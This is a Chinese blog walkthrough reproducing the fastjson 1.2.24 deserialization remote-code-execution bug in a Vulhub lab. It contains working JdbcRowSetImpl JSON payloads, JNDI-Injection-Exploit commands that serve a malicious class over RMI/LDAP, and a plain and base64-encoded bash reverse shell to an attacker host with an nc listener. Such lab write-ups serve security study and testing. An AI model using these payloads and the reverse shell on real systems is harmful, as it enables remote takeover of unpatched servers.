首页 > 其他分享 >fastjson_1.2.24_unserializer_rce

fastjson_1.2.24_unserializer_rce

时间:2023-09-08 17:46:25浏览次数:48  
标签:fastjson 24 1.2 0.0 1099 80.141 漏洞 192.168 rce

目录

fastjson 1.2.24 反序列化导致任意命令执行漏洞

说明 内容
漏洞编号
漏洞名称 fastjson 1.2.24 反序列化导致任意命令执行漏洞
漏洞评级
影响范围
漏洞描述
修复方案

1.1、漏洞描述

FastJson是Alibaba的一款开源Json解析库,可用于将Java对象转换为其Json表示形式,也可以用于将
Json字符串转换为等效的Java对象。近几年来FastJson漏洞层出不穷。RCE漏洞的源头:17年FastJson爆出的1.2.24反序列化漏洞。
关于FastJson1.2.24反序列化漏洞,简单来说,就是FastJson通过parseObject/parse将传入的字符串反序
列化为Java对象时由于没有进行合理检查而导致的。

1.2、漏洞等级

高危

1.3、影响版本

1.2.24

1.4、漏洞复现

1、基础环境

Path:Vulhub/fastjson/1.2.24-rce


启动测试环境:

sudo docker-compose up -d

访问http://your-ip:8090/即可看到

image-20230908103611667

发送测试数据:

{"name":"hello", "age":20}

image-20230908105242306

2、漏洞检测

使用BurpSuite扩展插件FastjsonScan进行漏洞检测

image-20230908105754095

POC:

{
    "handsome":{
    "@type":"Lcom.sun.rowset.JdbcRowSetImpl;",
    "dataSourceName":
    "rmi://wvvlunpw9mk6u4suzoi884ibw22sqh.oastify.com/aaa",
    "autoCommit":true
    }
}

使用dnslog测试

image-20230908131446437

image-20230908131437714

3、漏洞验证

利用JNDI-Injection-Exploit工具开启RMI服务器

/tmp目录下创建hello文件

┌──(kali㉿kali)-[~/tools/JNDI-Injection-Exploit]
└─$ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "touch /tmp/hello" -A "192.168.80.141"
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
[ADDRESS] >> 192.168.80.141
[COMMAND] >> touch /tmp/hello
----------------------------JNDI Links---------------------------- 
Target environment(Build in JDK 1.7 whose trustURLCodebase is true):
rmi://192.168.80.141:1099/52e3fa
ldap://192.168.80.141:1389/52e3fa
Target environment(Build in JDK whose trustURLCodebase is false and have Tomcat 8+ or SpringBoot 1.2.x+ in classpath):
rmi://192.168.80.141:1099/atawc5
Target environment(Build in JDK 1.8 whose trustURLCodebase is true):
rmi://192.168.80.141:1099/gfk0fp
ldap://192.168.80.141:1389/gfk0fp

----------------------------Server Log----------------------------
2023-09-08 01:38:44 [JETTYSERVER]>> Listening on 0.0.0.0:8180
2023-09-08 01:38:44 [RMISERVER]  >> Listening on 0.0.0.0:1099
2023-09-08 01:38:44 [LDAPSERVER] >> Listening on 0.0.0.0:1389

image-20230908135208881

发送POC到FastJson服务器,通过RMI协议远程加载恶意类

{
    "handsome":{
    "@type":"Lcom.sun.rowset.JdbcRowSetImpl;",
    "dataSourceName": "rmi://192.168.80.141:1099/atawc5",
    "autoCommit":true
    }
}

image-20230908134211826

验证:

image-20230908134440040

1.5、深度利用

1、GetShell

构造反弹 Shell命令:

image-20230908134953126

bash -i >& /dev/tcp/192.168.80.141/1234 0>&1


bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjgwLjE0MS8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}

监听1234端口

nc -lvp 1234

开启RMI服务

┌──(kali㉿kali)-[~/tools/JNDI-Injection-Exploit]
└─$ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjgwLjE0MS8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}" -A "192.168.80.141"
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
[ADDRESS] >> 192.168.80.141
[COMMAND] >> bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjgwLjE0MS8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}
----------------------------JNDI Links---------------------------- 
Target environment(Build in JDK 1.8 whose trustURLCodebase is true):
rmi://192.168.80.141:1099/qkgjya
ldap://192.168.80.141:1389/qkgjya
Target environment(Build in JDK 1.7 whose trustURLCodebase is true):
rmi://192.168.80.141:1099/n9qirm
ldap://192.168.80.141:1389/n9qirm
Target environment(Build in JDK whose trustURLCodebase is false and have Tomcat 8+ or SpringBoot 1.2.x+ in classpath):
rmi://192.168.80.141:1099/nmyogr

----------------------------Server Log----------------------------
2023-09-08 01:53:48 [JETTYSERVER]>> Listening on 0.0.0.0:8180
2023-09-08 01:53:48 [RMISERVER]  >> Listening on 0.0.0.0:1099
2023-09-08 01:53:48 [LDAPSERVER] >> Listening on 0.0.0.0:1389

image-20230908135415444

POC :

{
    "handsome":{
    "@type":"Lcom.sun.rowset.JdbcRowSetImpl;",
    "dataSourceName": "ldap://192.168.80.141:1389/qkgjya",
    "autoCommit":true
    }
}

image-20230908135447227

获得Shell

image-20230908135518387

1.6、修复建议

标签:fastjson,24,1.2,0.0,1099,80.141,漏洞,192.168,rce
From: https://www.cnblogs.com/saury/p/17688186.html

相关文章

  • Fastjson_1.2.47_rce
    目录Fastjson_1.2.47_rce1.1、漏洞描述1.2、漏洞等级1.3、影响版本1.4、漏洞复现1、基础环境2、漏洞检测3、漏洞验证1.5、深度利用1、反弹Shell1.6、修复建议Fastjson_1.2.47_rce说明内容漏洞编号漏洞名称Fastjson_1.2.47_远程执行漏洞漏洞评级影响范围......
  • 制图软件AutoCAD 2024 win+Mac(支持M芯片的CAD)
    AutoCAD2024是Autodesk公司开发的一款专业制图软件,它具有强大的2D和3D设计和制图功能,被广泛应用于机械、建筑、土木工程、电子等领域的设计和制图工作。→→↓↓载AutoCAD2024win/Mac 首先,AutoCAD2024拥有先进的绘图工具和自动化功能。它提供了多种绘图模式和命令,如线、......
  • 24 lock锁
    packageThreadDemo;//多个线程同时操作同一个对象,涉及到资源的独享与共享并发什么的//多个线程同时操作同一个对象,可能会出现问题:线程不安全,数据紊乱------>上锁//并发与同步//火车票例子importjava.util.concurrent.locks.ReentrantLock;//synchronized锁......
  • pycharm debug 的文件在remote_sources
    问题描述:在pycharm进行wsl调试,运行的代码是在C盘下面的remote_sources文件夹相关回答:https://blog.csdn.net/lt_BeiMo/article/details/124159399解决:......
  • Vercel 与 Next.js:开源全明星团队背后的商业逻辑
    Vercel与Next.js:开源全明星团队背后的商业逻辑aryu2022-01-2610:183616 视频版本推荐同步观看,喜欢请一键三连~#Vercel与Next.js:开源全明星团队背后的商业逻辑|MonetizingOpenSource引子Vercel是由GuillermoRauch创立的云服务公司,以拥有数个知名开源项目......
  • 在debain下安装思源黑体(Source Han Sans)的注意点
    在/usr/share/fonts/opentype下创建SourceHanSansSC目录/usr/share/fonts/opentype/SourceHanSansSC/SourceHanSansCN-Bold.otfSourceHanSansCN-Heavy.otfSourceHanSansCN-Medium.otfSourceHanSansCN-Regular.otf 其中这个根据你的指定目录有关,例如在制作SVG时:constFONTS......
  • 微服务启动失败,报错信息:java.lang.RuntimeException: dynamic-datasource Please chec
    【问题描述】Causedby:org.springframework.beans.factory.BeanCreationException:Errorcreatingbeanwithname'dataSource'definedinclasspathresource[com/baomidou/dynamic/datasource/spring/boot/autoconfigure/DynamicDataSourceAutoConfiguration.cl......
  • wzOI 2023.8.24 模拟赛(附树的直径和三分法)
    2023-08-2815:53:53$$A$$典型错误一知半解看样例型:如果该队某个数组的值比最大值大就算入答案。上第一次厕所前我的思路:开局\(30\)分钟。显然,我并不需要有一个数值最大才能赢,我只需要其中一个数值比其中一个数值比其中一个数值最大的那个要大的队要大即有可能获胜......
  • Apktool编译时报error: No resource identifier found for attribute XXX in package
    问题描述使用apktool编译android源码时,报W:XXX.xml:X:error:Noresourceidentifierfoundforattribute'iconTint'inpackage'android'错误。解决方案这是由于API版本较低。处理方法:找到相应文件,把对应的属性删除掉,再重新编译。......
  • SourceTree 解决 git 合并冲突
    本文主要根据以下两个场景,介绍SourceTree解决冲突的三种情形本地分支代码合入test、beta分支拉取master代码分支合入本地分支,1、使用他人版本解决冲突(拉取master代码合入本地分支)使用他人版本解决冲突,会自动将当前分支对应文档更改成他人文档内容,此时该文档从未暂存文件......